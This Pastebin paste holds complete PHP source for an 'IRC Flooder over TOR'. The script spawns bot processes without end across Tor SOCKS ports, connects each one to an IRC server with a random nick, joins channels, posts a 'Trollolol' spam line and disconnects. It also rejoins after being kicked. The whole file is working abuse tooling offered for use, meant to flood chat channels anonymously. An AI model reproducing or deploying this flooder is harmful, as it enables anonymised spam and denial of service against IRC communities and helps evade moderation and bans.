x2Fusion

PHP IRC Flooder over TOR

Sep 10th, 2015
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.13 KB | None | 0 0
  1. <?php
  2.  
  3. if(!isset($argv[2]))
  4. {
  5.     while(1)
  6.     {
  7.         for($port=9051;$port<=9060;$port++)
  8.         {
  9.             execInBackground("php run.php $port 1");
  10.         }
  11.         $port=9051;
  12.         sleep(1);
  13.     }
  14. }
  15. else
  16. {
  17.     $tbot = TorBot::getInst();
  18.    
  19.     $tbot->config = array(
  20.             'serv'      => 'localhost',
  21.             'port'      => 6667,
  22.             'nick'      => 'lol'.substr(mt_rand(), 0, strlen(mt_rand())/2),
  23.             'name'      => mt_rand(),
  24.             'chan'      => array('#bots'),
  25.             'tor_addr'  => 'localhost',
  26.             'tor_port'  => isset($argv[1])?$argv[1]:9050
  27.             );
  28.    
  29.     $tbot->Init();
  30. }
  31.  
  32. ###########################################################
  33. function execInBackground($cmd)
  34. {
  35.     if (substr(php_uname(), 0, 7) == "Windows")
  36.     {
  37.         pclose(popen("start /B ". $cmd, "r"));
  38.     }
  39.     else
  40.     {
  41.         exec($cmd . " > /dev/null &");  
  42.     }
  43. }
  44.  
  45. ###########################################################
  46. class TorBot
  47. {  
  48.     private $is_CLI = false;
  49.     private $socket = null;
  50.     private $ex     = null;
  51.     private $tstamp = '0000-00-00 00:00:00';
  52.    
  53.     private $nicks  = array();
  54.     private $chans  = array();
  55.    
  56.     private $curruser = null;
  57.     private $currchan = null;
  58.    
  59.     private $userwhois = null;
  60.        
  61.     public $config  = array(
  62.         'serv'          => 'please.change.me',      # Bot Serv
  63.         'port'          => 6667,            # Bot Port
  64.         'nick'          => 'tbot',          # Bot Nick
  65.         'name'          => 'TorBot',            # Bot Name
  66.         'chan'          => array('#chan1','#chan2'),    # Bot Chan
  67.         'tor_serv'      => 'localhost',         # Tor Serv
  68.         'tor_port'      => 9050,            # Tor Port
  69.         );
  70.    
  71.     public static function getInst()
  72.     {
  73.         static $inst = null;
  74.         if ($inst === null)
  75.         {
  76.             $inst = new self;
  77.         }
  78.         return $inst;
  79.     }
  80.    
  81.     // Initital functions
  82.     public function Init()
  83.     {
  84.         // Timestamps
  85.         $this->tstamp = (new \DateTime())->format('ymd.H:i:s');
  86.        
  87.         // Start connection to IRC
  88.         //$this->socket = fsockopen($this->config['serv'], $this->config['port']);
  89.        
  90.         $this->socket = new Socks($this->config['serv'], $this->config['port'], $this->config['tor_addr'], $this->config['tor_port']);
  91.  
  92.         // Send USER/NICK to IRC
  93.         $this->sendData('USER', "{$this->config['nick']} irc.land {$this->config['nick']} :{$this->config['name']}\r\n");
  94.         $this->sendData('NICK', "{$this->config['nick']}\r\n");
  95.        
  96.         while(true)
  97.         {  
  98.             // Bot Core
  99.             $this->ex = $this->recvData();
  100.            
  101.             // Play Ping-Pong
  102.             if($this->ex[0] == 'PING')
  103.             {
  104.                 $this->sendData('PONG', "{$this->ex[1]}");
  105.             }
  106.            
  107.             // Set Current User/Chan
  108.             $this->curruser = substr(explode('!', $this->ex[0])[0], 1);
  109.             $this->currfunc = @$this->ex[1];
  110.             $this->currchan = @$this->ex[2];
  111.            
  112.             // Switch Functions
  113.             $this->preSwitches();
  114.            
  115.         } // While(true)
  116.     }
  117.    
  118.     // Initital Core functions
  119.     private function preSwitches()
  120.     {
  121.         // preSwitches include Pre commands, and post nick/join/kick/part/quit
  122.         switch(@$this->ex[1])
  123.         {
  124.             case '001':  // Check for time to join
  125.                 if(is_array($this->config['chan']))
  126.                 {
  127.                     foreach($this->config['chan'] as $chan)
  128.                     {
  129.                         $this->sendData('JOIN', "$chan\r\n");
  130.                         $this->sendData("PRIVMSG $chan :", "TrollololTrollololTrollololTrollololTrollolol\r\n");
  131.                         $this->socket->ph_close();
  132.                     }
  133.                 }
  134.                 else
  135.                 {
  136.                     $this->sendData('JOIN', "{$this->config['chan']}\r\n");
  137.                 }
  138.             break;
  139.             #####################
  140.             case '311': // Fetch Whois Info
  141.                 $ex = $this->ex;
  142.                 unset($ex[0], $ex[1], $ex[2], $ex[6], $ex[7]);
  143.                 $this->userwhois = $ex;
  144.             break;
  145.             #####################
  146.             case '353': // Fetch Nicks from Channel
  147.                 $ex = $this->ex;
  148.                 $chan = $ex[4];
  149.                 unset($ex[0], $ex[1], $ex[2], $ex[3], $ex[4]);
  150.                 $nicks = implode(' ', $ex);
  151.                 $nicks = str_replace(':', '', $nicks);
  152.                 $nicks = str_replace('@', '', $nicks);
  153.                 $this->nicks[$chan] = explode(' ', ucwords($nicks));
  154.             break;
  155.             #####################
  156.             case '433': // Set random nick, if Nick inuse
  157.                 $randId = substr(mt_rand(), 0, strlen(mt_rand())/2);
  158.                 $this->sendData('NICK', "{$this->config['nick']}$randId\r\n");
  159.             break;
  160.             #####################
  161.             case 'NICK': // Update Nicks array on Nick Change
  162.                 $olduser = trim(ucwords(str_replace(':', '', explode("!", substr($this->ex[0], 1))[0])));
  163.                 $newuser = trim(ucwords($this->ex[2]));
  164.                 if($olduser == ucwords($this->config['nick']))
  165.                 {
  166.                     $this->sendData('NICK', "{$this->config['nick']}\r\n");
  167.                 }
  168.                 foreach($this->chans as $chan)
  169.                 {
  170.                     foreach($this->nicks[$chan] as $nickId => $nick)
  171.                     {
  172.                         if($olduser == $nick)
  173.                         {
  174.                             $this->nicks[$chan][$nickId] = $newuser;
  175.                         }
  176.                     }
  177.                 }
  178.             break;
  179.             #####################
  180.             case 'JOIN':
  181.                 $chan = trim(strtolower(substr($this->ex[2], 1)));
  182.                 $user = trim(ucwords(explode("!", substr($this->ex[0], 1))[0]));
  183.                 $this->chans[$chan] = $chan;
  184.                 $this->nicks[$chan][] = $user;
  185.             break;
  186.             #####################
  187.             case 'KICK':
  188.                 $this->sendData('JOIN', "{$this->ex[2]}\r\n");
  189.             break;
  190.             #####################
  191.             case 'PART':
  192.                 $olduser = trim(ucwords(str_replace(':', '', explode("!", substr($this->ex[0], 1))[0])));
  193.                 $this->currchan = trim($this->currchan);
  194.                 foreach($this->nicks[$this->currchan] as $nickId => $nick)
  195.                 {
  196.                     if($olduser == $nick)
  197.                     {
  198.                         unset($this->nicks[$this->currchan][$nickId]);
  199.                     }
  200.                 }
  201.             break;
  202.             #####################
  203.             case 'QUIT':
  204.                 $olduser = trim(ucwords(str_replace(':', '', explode("!", substr($this->ex[0], 1))[0])));
  205.                 foreach($this->chans as $chan)
  206.                 {
  207.                     foreach($this->nicks[$chan] as $nickId => $nick)
  208.                     {
  209.                         if($olduser == $nick)
  210.                         {
  211.                             unset($this->nicks[$chan][$nickId]);
  212.                         }
  213.                     }
  214.                 }
  215.             break;
  216.         }
  217.     }
  218.    
  219.     // Send/Recv/Log Functions
  220.     private function sendData($command, $message = null)
  221.     {
  222.         echo 'SND-MSG: ';
  223.         if($message == null)
  224.         {
  225.             echo "$command" . PHP_EOL;
  226.             //fputs($this->socket, (string)"$command\r\n");
  227.             $this->socket->ph_write((string)"$command\r\n");
  228.         }
  229.         else
  230.         {
  231.             echo "$command -> $message" . PHP_EOL;
  232.             //fputs($this->socket, (string)"$command $message\r\n");
  233.             $this->socket->ph_write((string)"$command $message\r\n");
  234.         }
  235.     }
  236.    
  237.     private function recvData()
  238.     {
  239.         //$data = fgets($this->socket, 1024);
  240.         $data = $this->socket->ph_read(8192);
  241.         if($data != '')
  242.         {
  243.             echo "RCV-MSG: $data" . PHP_EOL;
  244.         }
  245.         return explode(' ', $data);
  246.     }
  247. }
  248.  
  249. class Socks
  250. {
  251.     function __construct($ph_desthost,$ph_destport,$ph_proxyhost="localhost",$ph_proxyport="9150")
  252.     {
  253.         //Set some default attributes.
  254.         $this->ready = false;
  255.        
  256.         //Establish connection to SOCKS proxy server and perform handshake.
  257.         //Initiate class variables for error handling using $this->errno and $this->errbuf
  258.         $this->socket = @fsockopen($ph_proxyhost,$ph_proxyport,$this->errno,$this->errbuf);
  259.         if ( !$this->socket ) {
  260.             //Can't connect to the local proxy.
  261.             $this->ph_error("Connection to proxy server could not be established on ".$ph_proxyhost.":".$ph_proxyport." (Connection refused)");
  262.             $this->socket_status = -1;
  263.             return false;
  264.         }
  265.        
  266.         //Connection has been established.
  267.         $this->socket_status = 1;
  268.        
  269.         //Initiate the SOCKS handshake sequence.
  270.        
  271.         //Write our version an method to the server.
  272.         //Version 5, 1 authentication method, no authentication. (For now)
  273.         @fwrite($this->socket, pack("C3", 0x05, 0x01, 0x00) );
  274.        
  275.         //Wait for a reply from the SOCKS server.
  276.         $this->server_status = @fread($this->socket,8192);
  277.        
  278.         //Check if server status is okay.
  279.         //Throw error if required.
  280.         if( $this->server_status == pack("C2", 0x05, 0x00) )
  281.         {
  282.             $this->socket_status = 2;
  283.         }
  284.         else
  285.         {
  286.             $this->ph_error("SOCKS Server does not support this version and/or authentication method of SOCKS.");
  287.             $this->socket_status = -2;
  288.             return false;
  289.         }
  290.        
  291.         //At this stage, our SOCKS socket should be open and ready to make its remote connection.
  292.         //Send the connection request.
  293.         @fwrite( $this->socket, pack("C5", 0x05 , 0x01 , 0x00 , 0x03, strlen($ph_desthost) ) . $ph_desthost . pack("n", $ph_destport) );
  294.        
  295.         //Wait for a reply from the SOCKS server.
  296.         $this->server_buffer = fread($this->socket,8192);
  297.        
  298.         //Check is the connection succeeded.
  299.         if( $this->server_buffer == pack("C10", 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ) )
  300.         {
  301.             //Connection succeeded.
  302.             $this->socket_status = 3;
  303.         }
  304.         else
  305.         {
  306.             //Connection failed.
  307.             $this->ph_error("The SOCKS server failed to connect to the specificed host and port. ( ".$ph_desthost.":".$ph_destport." )");
  308.             $this->socket_status = -3;
  309.             return false;
  310.         }
  311.        
  312.         //Our socket is now ready to write data.
  313.         if ($this->socket_status == 3)
  314.         {
  315.             $this->ready = true;
  316.         }
  317.     }
  318.    
  319.     public function __destruct()
  320.     {
  321.         //Close the socket connection if it's open
  322.         if ( $this->socket )
  323.         {
  324.             @fclose( $this->socket );
  325.         }
  326.     }
  327.    
  328.     public function ph_write($ph_data)
  329.     {
  330.         //Write the data to the socket.
  331.         @fwrite($this->socket,$ph_data);
  332.     }
  333.    
  334.     public function ph_read($ph_buffersize=8192)
  335.     {
  336.         //Read the data from the socket.
  337.         return @fread($this->socket,$ph_buffersize);
  338.     }
  339.    
  340.     public function ph_close()
  341.     {
  342.         fclose($this->socket);
  343.     }
  344.  
  345.     public function ph_error($ph_errormsg)
  346.     {
  347.         print($ph_errormsg."\n");
  348.     }
  349.    
  350.     public function ph_debug_dump()
  351.     {
  352.         print_r($this);
  353.     }
  354. }
Advertisement
Add Comment
Please, Sign In to add comment